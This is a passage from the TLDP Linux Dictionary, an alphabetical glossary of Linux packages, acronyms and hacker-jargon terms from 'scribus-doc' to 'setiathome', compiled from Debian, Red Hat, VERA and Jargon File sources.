English documentation for Scribus Scribus is a free software layout program for GNU/Linux similar to a couple of proprietary programs from Adobe and Quark. These are the documentation files in English. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scribus−doc−fr

French documentation for Scribus Scribus is a free software layout program for GNU/Linux similar to a couple of proprietary programs from Adobe and Quark. These are the documentation files in French. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Script

A set of commands stored in a file. Used for automated, repetitive, execution. (Also, see RC File.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

script

An executable plain text file; string of commands written to a file and run as one logical program. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

script

make typescript of terminal session From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scripts

Programs written to take advantage of a particular exploit. Key point: Elite hackers write scripts, script−kiddies run scripts. Misunderstanding: A lot of "scripts" are written in scripting languages like PERL, but a lot are distributed in C/C++ source form as well. Contrast: 0−day exploit. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scrollkeeper

A free electronic cataloging system for documentation. It stores metadata specified by the http://www.ibiblio.org/osrt/omf/ (Open Source Metadata Framework) as well as certain metadata extracted directly from documents (such as the table of contents). It provides various functionality pertaining to this metadata to help browsers, such as sorting the registered documents or searching the metadata for documents which satisfy a set of criteria. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scrollkeeper

ScrollKeeper is a cataloging system for documentation. It manages documentation metadata (as specified by the Open Source Metadata Framework (OMF)) and provides a simple API to allow help browsers to find, sort, and search the document catalog. It can also communicate with catalog servers on the Net to search for documents which are not on the local system. From Redhat 8.0 RPM

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scrollz

An advanced ircII−based IRC client ScrollZ is advanced IRC client based on ircII code. It adds features normally found in ircII scripts like Toolz, PhoEniX, GargOyle or Lice. The main difference between these scripts and ScrollZ is the code. Where ircII scripts take a lot of disk and memory space and run slow, ScrollZ only takes a couple of extra kilobytes compared to stock ircII client yet runs faster than any ircII script. This was accomplished by using C code instead of ircII scripting language. This reduces memory and CPU usage and code tends to run way faster. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scrot

command line screen capture utility scrot (SCReen shOT) is a simple commandline screen capture utility that uses imlib2 to grab and save images. Multiple image formats are supported through imlib2's dynamic saver modules. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Scrudgeware

Scrudgeware is currently under development. As a GNU/Linux distribution, ScrudgeWare is being designed with several goals in mind. First and foremost is to be built 100% from GPL (or other freely licensed) software. Second, NO BLOAT. Scrudgeware will try to build a simple ("bare bones") system on which the user can add any software they choose. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCSA

Sun Common SCSI Architecture (Sun) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scsh

A `scheme' interpreter designed for writing system programs. Scsh has a high−level process notation for doing shell−script like tasks: running programs, establishing pipelines and I/O redirection. Scsh embeds this process notation within a full Scheme implementation. The process notation is realized as a set of macro definitions, and is carefully designed to allow full integration with standard Scheme code. Scsh isn't Scheme−like; it is Scheme. At the scripting level, scsh also has an Awk design, also implemented as a macro that can be embedded inside general Scheme code. Scsh additionally provides the low−level access to the operating system normally associated with C. The current release provides full access to POSIX, plus important non−POSIX extensions, such as complete sockets support. "Complete POSIX" means: fork, exec & wait, sockets, full read, write, open & close, seek & tell, complete file−system access, including stat, chmod/chgrp/chown, symlink, FIFO & directory access, tty & pty support, file locking, pipes, select, file−name pattern−matching, time & date, environment variables, signal handlers, and more. Please be aware that several of the other scheme implementations being distributed as Debian GNU/Linux packages also provide much of the similar system programming functionality. It is wisest to try them all and explore. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCSI

see small computer systems interface (SCSI). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCSI

Small Computer Systems Interface (SCSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCSI disks

SCSI (pronounced scuzzy) stands for Small Computer System Interface. SCSI is a ribbon, a specification, and an electronic protocol for communication between devices and computers. Like your IDE ribbons, SCSI ribbons can connect to their own SCSI hard disks. SCSI ribbons have gone through some versions to make SCSI faster, the latest ``Ultra−Wide'' SCSI ribbons are thin, with a dense array of pins. Unlike your IDE, SCSI can also connect tape drives, scanners, and many other types of peripherals. SCSI theoretically allows multiple computers to share the same device, although I have not seen this implemented in practice. Because many UNIX hardware platforms only support SCSI, it has become an integral part of UNIX operating systems. SCSIs also introduce the concept of LUNs (which stands for Logical Unit Number), Buses, and ID. These are just numbers given to each device in order of the SCSI cards you are using (if more than one), the SCSI cables on those cards, and the SCSI devices on those cables−−the SCSI standard was designed to support a great many of these. The kernel assigns each SCSI drive in sequence as it finds them: /dev/sda, /dev/sdb, and so on, so these details are usually irrelevant. An enormous amount should be said on SCSI, but the bare bones is that for 90% of situations, insmod <pci−scsi−driver> is all you are going to need. You can then immediately begin accessing the device through /dev/sd? for disks, /dev/st? for tapes, /dev/scd? for CD−ROMs, or /dev/sg? for scanners. [Scanner user programs will have docs on what devices they access.] SCSIs often also come with their own BIOS that you can enter on startup (like your CMOS). This will enable you to set certain things. In some cases, where your distribution compiles−out certain modules, you may have to load one of sd_mod.o, st.o, sr_mod.o, or sg.o, respectively. The core scsi_mod.o module may also need loading, and /dev/ devices may need to be created. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scsiadd

Add or remove SCSI devices by rescanning the bus. scsiadd allows you to add or remove SCSI devices without having to restart the computer. This is *NOT* a substitute for powering down to connect or disconnect hardware unless it's specifically designed to be hot swappable. Use it to enable the external SCSI drive you only use occasionally so is powered off when the machine first boots, or to rescan the bus after moving hot−swap drives around. scsiadd will also try to prevent you from doing anything to disrupt drive names that are in use. Similar functionality is available by echoing text to /proc/scsi/scsi From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scsitools

Collection of tools for SCSI hardware management This package is a collection of tools for manipulating SCSI hardware: scsiinfo: displays SCSI drive low−level information and modifies SCSI drive settings, scsidev: makes permanent SCSI LUN −> devicename connections, scsifmt: low−level SCSI formatter, sraw: benchmarks raw SCSI I/O rates bypassing the buffer cache, scsistop: low−level SCSI drive start/stop program, scsi−spin: program to manually spin up and down a SCSI device. Be aware that these tools require some knowledge of what are they doing to be used properly, not causing damage to your system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Search Engine
: A (usually web−based) system for searching the information available on the Web. Some search engines work by automatically searching the contents of other systems and creating a database of the

results. other search engines contains only material manually approved for inclusion in a database, and some combine the two approaches. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

search path

A list of directories in which a given user's commands may be found. Each time the user enters a command at the keyboard, the shell searches the list to find the command. You can execute only those commands that belong to the directories in your search path. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

searchandrescue

Fly aircraft to Search (for) and Rescue people in distress. Tired of scores indicating things destroyed or lives snuffed? Try something different −− fly a helicopter around and rescue people in distress. If you were in trouble wouldn't you want someone to rescue you? This game is intended for players of all audiences, but especially for mature players who want to get away from the violence and still retain a level of precise challenge. Flight difficulty can be lowered for beginners (regardless of mission type), and graphics minimized to suit slower computers (minimum Pentium 166 with no graphics acceleration). This package has been configured to depend on libjsw for joystick support and libY2 for sound support. However, neither a joystick nor sound support is necessary to enjoy the game. http://wolfpack.twu.net/SearchAndRescue/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

searchscripts

search Debian & Usenet archives & Packages files searchgoo searches Google's Usenet archives; similar in function to dejasearch. searchdeb & searchgeo search the Debian & Geocrawler mailing list archives. Geocrawler archives Debian mailing lists and many others. The advantage these have over the web page forms is they download message bodies unattended. ppack parses the Packages, available & status files to show orphans, packages that need updating, those that belong to a chosen maintainer, anomalies in package status, popcon results and more. Useful for keeping track of chroot status. diffdirs shows the files that are different in two directories, tarballs, zip files, debs or any combination of two of these. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SECAM

SEquentiel Couleur Avec Memoire From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SECB

Severely Errored Cell Block (UNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SECC

Single Edge Connector Case (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

secondary storage

A nonvolatile storage medium such as a disk drive that stores program instructions and data even after you switch off the power. Synonymous with auxiliary storage. See primary storage. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

secpanel

A Tcl/Tk GUI for SSH and SCP. SecPanel serves as a graphical user interface for managing and running SSH (Secure Shell) and SCP (Secure Copy) connections. SecPanel is not a new implementation of the Secure Shell protocol or the ssh software−suite. SecPanel sits on top of SSH software−suites and supports the commercial SSH and the OpenBSD's free SSH implementation. You may get information about these programs at http://www.ssh.com and at http://www.openssh.com respectively. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

secpolicy

PAM security policy configuration tool This tool allows you to manipulate the PAM configuration files for each "service" you have created to use PAM. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

secpolicy

Views and sets PAM security policies. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sector

A segment of one of the concentric tracks encoded on a floppy or hard disk during a low−level format. In IBM PC−compatible computing, a sector usually contains 512 bytes of information. See cluster. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sector

The primary measuring unit of a storage disk upon which data is stored. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Secure Shell (SSH)

A protocol for secure terminal access to remote computer systems. SSH uses key−based cryptography to securely authenticate and transmit session data from client to host. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Securepoint Firewall & VPN Server

The Securepoint Firewall & VPN server is a high end firewall and VPN solution for protecting your Internet gateway. Securepoint can also be used with existing firewalls and to protect interconnected locations or divisions and lets you create and manage VPN tunnels. Languages supported: English, German, Russian, and Korean. A 'secured' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Security Certificate

A chunk of information (often stored as a text file) that is used by the SSL protocol to establish a secure connection. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

security through obscurity

(alt. `security by obscurity') A term applied by hackers to most OS vendors' favorite way of coping with security holes −− namely, ignoring them, documenting neither any known holes nor the underlying security algorithms, trusting that nobody will find out about them and that people who do find out about them won't exploit them. This "strategy" never works for long and occasionally sets the world up for debacles like the RTM worm of 1988 (see Great Worm), but once the brief moments of panic created by such events subside most vendors are all too willing to turn over and go back to sleep. After all, actually fixing the bugs would siphon off the resources needed to implement the next user−interface frill on marketing's wish list −− and besides, if they started fixing security bugs customers might begin to expect it and imagine that their warranties of merchantability gave them some sort of right to a system with fewer holes in it than a shotgunned Swiss cheese, and then where would we be? Historical note: There are conflicting stories about the origin of this term. It has been claimed that it was first used in the Usenet newsgroup in comp.sys.apollo during a campaign to get HP/Apollo to fix security problems in its Unix−clone Aegis/DomainOS (they didn't change a thing). ITS fans, on the other hand, say it was coined years earlier in opposition to the incredibly paranoid Multics people down the hall, for whom security was everything. In the ITS culture it referred to (1) the fact that by the time a tourist figured out how to make trouble he'd generally gotten over the urge to make it, because he felt part of the community; and (2) (self−mockingly) the poor coverage of the documentation and obscurity of many commands. One instance of deliberate security through obscurity is recorded; the command to allow patching the running ITS system (escape escape control−R) echoed as $$^D. If you actually typed alt alt ^D, that set a flag that would prevent patching the system even if you later got it right. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

secvpn

Secure Virtual Private Network (secvpn) builds a VPN based on ssh and ppp as described in the Linux VPN HOWTO. (Please look there for further informations) All necessary routing on the secvpn hosts will be done by secvpn. Secvpn will try to reestablish broken connections automatically. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sed

Sed (Stream EDitor) is a stream or batch (non−interactive) editor. Sed takes text as input, performs an operation or set of operations onthe text, and outputs the modified text. The operations that sed performs (substitutions, deletions, insertions, etc.) can be specified in a script file or from the command line. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SED

Stream EDitor (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sed

The GNU sed stream editor. sed reads the specified files or the standard input if no files are specified, makes editing changes according to a list of commands, and writes the results to the standard output. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEDAS

Standardisiertes Einheitliches DatenAustauschSystem (EDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Systems Equipment Engineering From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Seek

In a disk drive, to locate a specific region of a disk and to position the read/write head so that the computer can retrieve data or program instructions. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

seek time

In a secondary storage device, the time that it takes the read/write heads reach the correct location on the disk. See access time. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

seesat5

a satellite location program Seesat5 uses the NORAD sgp4 algorithm to compute the location of a satellite. Many different filtering methods are provided by Seesat5 so that only those satellites that might actually be viewed are presented in the report. This report includes bearing and elevation with respect to the observer's location as well as other information of interest to the observer. Although an observer would find no use for it, the program can be made to report the location even when it is below the horizon. For radio satellites like the Oscar series knowing when it comes above the horizon is some of the interesting information this program can provide. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEF

Source Explicit Forwarding From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEFS

Severely Errored Framing Seconds (DS1/E1, DS3/E3) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

segmentation fault

An error in which a running program attempts to access memory not allocated to it and core dumps with a segmentation violation error. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

segmentation fault

n. [Unix] 1. [techspeak] An error in which a running program attempts to access memory not allocated to it and core dumps with a segmentation violation error. This is often caused by improper usage of pointers in the source code, dereferencing a null pointer, or (in C) inadvertently using a non−pointer variable as a pointer. The classic example is: int i; scanf ("%d", i); /* should have used &i */ 2. To lose a train of thought or a line of reasoning. Also uttered as an exclamation at the point of befuddlement. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEH

Structured Exception Header From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEI

Software Engineering Institute From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sel

Fullscreen file−selection and execution tool sel displays a listing of files like a file−manager. You can move around using the arrow−keys and run a command given on the command−line on the selected file with the <RETURN> − key. If you've installed the terminfo− library delivered with ncurses, sel will use colors. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEL

Software Engineering Laboratory From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEL

Standard Elektrik Lorenz [ag] (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

select−xface

Insert X−Face mail header with viewing and selecting a bitmap. Insert X−Face Mail/News header with viewing and selecting a bitmap. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

selectwm

Select a window manager at X startup selectwm is a simple but robust program that will let you pick a window manager (or other executable) to run at X startup, and optionally after a window manager exits. It uses the GTK+ toolkit, and includes options like a timer to start the default window manager, and modification of the window manager list from within selectwm. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SELHPC

South East London − High Performance Computing [centre] (org.), "SEL−HPC" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

selinux

Policy config files and management for NSE Security Enhanced Linux /etc/selinux contains the policy files, checkpolicy will check the policy. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEM

Server Enhancement Module From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEM

Standard Error of the Mean From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

semantic

A lexer, parser−generator, and parser written in elisp The Semantic Bovinator's goal is to provide an intermediate API for authors of language agnostic tools who want to deal with languages in a generic way. It also provides a simple way for Mode Authors, who are experts in their language, to provide a parser for those tool authors, without knowing anything about those tools. The Semantic Bovinator is made up of these important pieces: − lexer: Converts a language into a token stream − parser: Converts a token stream into a stream of nonterminals defined by the language. − parser−generator: Converts a language definition into a table usable by the parser. (Written using the Semantic Bovinator) − Language Definitions: Parsers already existing for the parser generator language (Bovine Normal Form), Emacs Lisp, and C. − speedbar browser: Code for browsing a generated nonterminal list with Speedbar. − Documentation generator: Identifies inline documentation in source code, and can convert it to texinfo. It can also create inline documentation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

semi

Library to provide MIME feature for GNU Emacs. SEMI is a library to provide MIME feature for GNU Emacs. MIME is a proposed internet standard for including content and headers other than (ASCII) plain text in messages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendfile

Simple Asynchronous File Transfer Sendfile is an asynchronous file transfer service for the Internet, like the sendfile facility in Bitnet: Any user A can send files to another user B without B being active in any way. The existing standard file transfer (ftp) is a synchronous service: The user must have access to an account on the sending and on the receiving site, too. Sendfile for Unix, which is an implementation of the SAFT protocol (Simple Asynchronous File Transfer) now offers you a true asynchronous file transfer service for the Internet. Virtually any form of file can be sent, including encrypted ones. The SAFT protocol will be submitted as an RFC in the near future. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendip

A commandline tool to allow sending arbitrary IP packets. SendIP has a large number of command line options to specify the content of every header of a RIP, TCP, UDP, ICMP or raw IPv4 and IPv6 packet. It also allows any data to be added to the packet. Checksums can be calculated automatically, but if you wish to send out wrong checksums, that is supported too. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendmail

A powerful, efficient, and scalable Mail Transport Agent. Sendmail is an alternative Mail Transport Agent (MTA) for Debian. It is suitable for handling sophisticated mail configurations, although this means that its configuration can also be complex. Fortunately, easy thing can be done easily, and complex things are possible, even if not easily understood ;) Sendmail is the *ONLY* MTA with a Turing complete language under the covers ! Sendmail provides Security and SPAM/UCE/UBE protection via several means: − STARTTLS(SSL) RFC2487 encryption for mail reception/delivery. − STARTTLS(SSL) authentication (certificate based) for access/relay control. − SMTP AUTH (SASL/PAM) authentication for access/relay control. − ACCESS database (by IP/host) for access/relay control. − Use of varied Realtime Blackhole Lists (RBL) to prevent access. − Integration of LOGCHECK rules to fine−tune logging. − Inboard POSIX Regular Expression processing of *all* headers. − Ability (via MILTER) to scan/change headers *and* body of *ALL* mail A site may utilize zero, one, or more MILTERs. − Reduced SUID exposures by running SGID smmsp/mail where possible. Sendmail provides Performance and Scalability by: − Allowing multiple queues, with the ability to tune both interval and queue runners on a queue by queue basis. − Providing (a Debian exclusive) an easy to configure means of queue−aging to improve throughput by not continually retrying failed deliveries. − Allowing most all maps/databases to be obtained via LDAP; reducing the

number of used databases and simplifying the maintenance of Sendmail. − Reducing the file I/O where possible by buffering files in memory. Sendmail provides site enhanced site configuration/customization by: − Allowing the listener (usually port 25) to run as a daemon or via INETD. − Allowing the queue runner (mail delivery) to run as a daemon or via CRON. − Automagically updating configuration and databases on upgrades. − Providing a Turing complete language for site customization of mail handling. − Providing a means (MILTER) for a site to scan/change all email − both incoming and outgoing. A site can write their own MILTER, or may use any of those found on internet. To write your own MILTER, you'll need to install the optional milter−dev package. − Providing extensive documentation via the sendmail−doc (optional) package. − Providing an inboard Mail Delivery Agent (MDA) (mail.local), but supporting procmail, mailagent, maildrop, or deliver automatically if installed. Sendmail will also deliver to anythings else (cyrus, etc) if asked to. Sendmail includes *no* Mail User Agents (MUA), you'll have to pick from the plethora of available MUAs (pine, mutt, vm, etc.) This package supports REGEX, DB, NIS, NIS+, LDAP, DNS, HESIOD maps, and has enabled TCPWrappers, IPv6, LockFile, SMTP AUTH(SASL), STARTTLS(SSL). From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendmail

Sendmail is a popular e−mail server package. By most estimates, well over half of all e−mail flowing through the Internet goes through a Sendmail system. Sendmail is open−source software. Key point: Sendmail is an MTA (Message Transfer Agent). This means that Sendmail only transfers e−mail to other MTAs. Client programs (like Outlook, Eudora, Pine) will use SMTP to hand e−mail to Sendmail for transmission over the Internet, but they can't use SMTP to read e−mail. Instead, when Sendmail receives e−mail destined for the local machine, it must hand it off to some other software package. In the most common situation, Sendmail will save incoming messages in mbox format to /var/spool/mail for each user, and other programs will allow users to retrieve e−mail from those files. History: In 1989, Morris Worm exploited Sendmail bugs as one technique to spread itself. Sendmail is an ancient software package on the Internet, which results in a high−degree of complexity for backwards compatibility. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendmail

Sendmail sends a message to one or more recipients, routing the message over whatever networks are necessary. Sendmail does inter−network forwarding as necessary to deliver the message to the correct place. Sendmail is not intended as a user interface routine; other programs provide user−friendly front ends; sendmail is used only to deliver pre−formatted messages. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendmail

The Sendmail program is a very widely used Mail Transport Agent (MTA). MTAs send mail from one machine to another. Sendmail is not a client program, which you use to read your email. Sendmail is a behind−the−scenes program which actually moves your email over networks or the Internet to where you want it to go. If you ever need to reconfigure Sendmail, you will also need to have the sendmail.cf package installed. If you need documentation on Sendmail, you can install the sendmail−doc package. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sendpage

An easy−to−use Unix tool for sending pages. Sendpage is a front end to the PET protocol used by many paging systems. PET is also knows as IXO or TAP. It can dial up your paging service and send alphanumeric pages. Other software (such as mon) can be set up to automatically send pages, email can be forwarded to your pager, etc. Sendpage is licensed under the GPL. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sensible−editor

sensible editing and paging From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sensible−pager
: sensible editing and paging From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sensor−sweep−applet
: GNOME applet displaying system's health status Sensor Sweep is a GNOME panel applet that monitors your computers sensors through the lm_sensors kernel modules. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sensord
: Hardware sensor information logging daemon Lm−sensors is a hardware health monitoring package for Linux. It allows you to access information from temperature, voltage, and fan speed sensors. It works with most newer systems. This package contains a daemon that logs hardware health status to the system log with optional warnings on potential system problems. You will need lm−sensors and i2c kernel modules to use this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sentry Firewall
: Sentry Firewall CD−ROM is a Linux based bootable CD−ROM suitable for use as an inexpensive and easy to maintain Firewall or IDS (Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk or a local hard drive. Version 1.2.0 was released March 27, 2002. Version 1.4.0−beta2 was released October 25, 2002. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEP
: Someone Else's Problem (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEPP
: Secure Electronic Payment Protocol (banking, IBM, Netscape, GTE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

seq
: prints a sequence of numbers From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEQUEL
: Structured English QUEry Language (IBM, DB, SQL, predecessor) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ser2net
: Allows network connections to serial ports This daemon allows telnet and tcp sessions to be established with a unit's serial ports. Combined with a terminal emulation like xterm or the Linux console, this can be a very simple means of communicating with routers, other systems' serial consoles and other equipment with a serial port. This is remarkably similar to some Cisco router's reverse telnet function. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

serial installation
: An installation of Red Hat Linux done via serial communication port. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

serial line internet protocol (SLIP)
: A network connection standard that uses the Internet Protocol (TCP/IP) over a serial line. SLIP makes it possible for a computer to communicate with other computers via a dial−up connection. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

serial mouse
: A pointing device that connects to a serial port. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

serial port

9−pin or 25−pin socket used to connect several devices, including mice and modems. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

series

The series package is a general iteration library for Lisps. It can do anything loop can, but in a more functional way. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Serif

Little hooks on the ends of characters. For example, the letter i in a font such as Times Roman has serifs protruding from the base of the i and the head of the i. Serif fonts are usually considered more readable than fonts without serifs. There are many different types of serif fonts. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SERM

Structured Entity Relationship Model (DB, ERM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

serpento

dict server with full unicode support serpento is a dict server written in python. If you want to run the server, you need also dictionary files. You can use those provided as debian packages (dict, dict−gcide, dict−wn, dict−jargon, dict−foldoc etc.) See /usr/share/doc/serpento/README.debian for info. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SERT

Security Emergency Response Team (org., Australia, Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

server

A computer system that manages files, services, and access to resources on a network. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Server

A computer, or a software package, that provides a specific kind of service to client software running on other computers. The term can refer to a particular piece of software, such as a WWW server, or to the machine on which the software is running, e.g. "Our mail server is down today, that's why e−mail isn't getting out." A single server machine can (and often does) have several different server software packages running on it, thus providing many different servers to clients on the network. Sometimes server software is designed so that additional capabilities can be added to the main program by adding small programs known as servlets. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

server

A program which provides some service to other (client) programs. The connection between client and server is normally by means of message passing, often over a network, and uses some protocol to encode the client's requests and the server's responses. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

server

n. A kind of daemon that performs a service for the requester and which often runs on a computer other than the one on which the requestor/client runs. A particularly common term on the Internet, which is rife with `web servers', `name servers', `domain servers', `news servers', `finger servers', and the like. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

server message block (SMB)

A protocol developed to facilitate the sharing of files, printers, and other resources on a local network. Samba is a Linux−compatible implementation of the SMB protocol. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Server optimized Linux

SoL (Server optimized Linux) is a Linux distribution completely independent from other Linux distributions. It was built by antitachyon from the original source packages and is optimized for heavy−duty server work. It contains all common server applications, and features XML boot and script technology that makes it easy to configure and make the server work. SoL 13.37 was released April 22, 2002 (initial Freshmeat announcement). Version 16.00 was released March 17, 2003. A diskless version, SoL−diag 1.1, was introduced March 3, 2003. A desktop version, SoL−Desktop 0.2, was released March 27, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Serverdisk diskette distro

Serverdisk diskette distro is a Linux floppy disk distribution which includes FTP and HTTP servers. Just a small server, not intended to be a rescue disk or standalone firewall. The initial version, 0.1, was released September 19, 2002. A floppy−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Servlet

A small computer program designed to be add capabilities to a larger piece of server software. Common examples are "Java servlets", which are small programs written in the Java language and which are added to a web server. Typically a web server that uses Java servlets will have many of them, each one designed to handle a very specific situation, for example one servlet will handle adding items to a "shopping cart", while a different servlet will handle deleting items from the "shopping cart." From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

set6x86

Cyrix/IBM 5x86/6x86 CPU configuration tool Allows one to modify the internal configuration registers in the 5x86 and 6x86 CPU. These include specifying non−cacheable memory areas (important for e.g. graphics cards), I/O delays, cache write policy (WB/WT), write−gathering, and also enable an automatic standby mode where a CPU "halt" instruction cuts down power by a factor of 70 (from 20 Watts to 0.3 Watts for the 6x86 P133+) when the CPU is idle. Especially the CPU power reduction cuts down on most temperature−related problems on many motherboards. From

Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SETA

Systems Engineering and Technical Assistance From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setcd

Control the behaviour of your cdrom device This program allows you to control the behaviour of your Linux cdrom player. You'll need a cdrom device that complies to the new interface defined in linux/Documentation/cdrom/cdrom−standard.tex. For kernel 2.0 this is only the cm206 drive, for kernel 2.1 this includes IDE and SCSI drives. You can control: auto close, auto eject, medium type checking and tray locking. You can get information on the volume name of cdroms and other data, and you can set the speed of your drive and choose a disc from a jukebox. In order to fully exploit the possibilities, you'll need libc6 and a recent version of the the linux kernel, but you will get decent error behaviour in return. Expect a message "No medium found" if you attempt to mount an empty drive or "Wrong medium type" if you try to mount an audio disc, instead of a whole load of kernel error messages. The source of this package may be an example for cdrom player program developers that wish to exploit the features of the new cdrom interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setfdprm

sets user−provided floppy disk parameters TQ From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setiathome

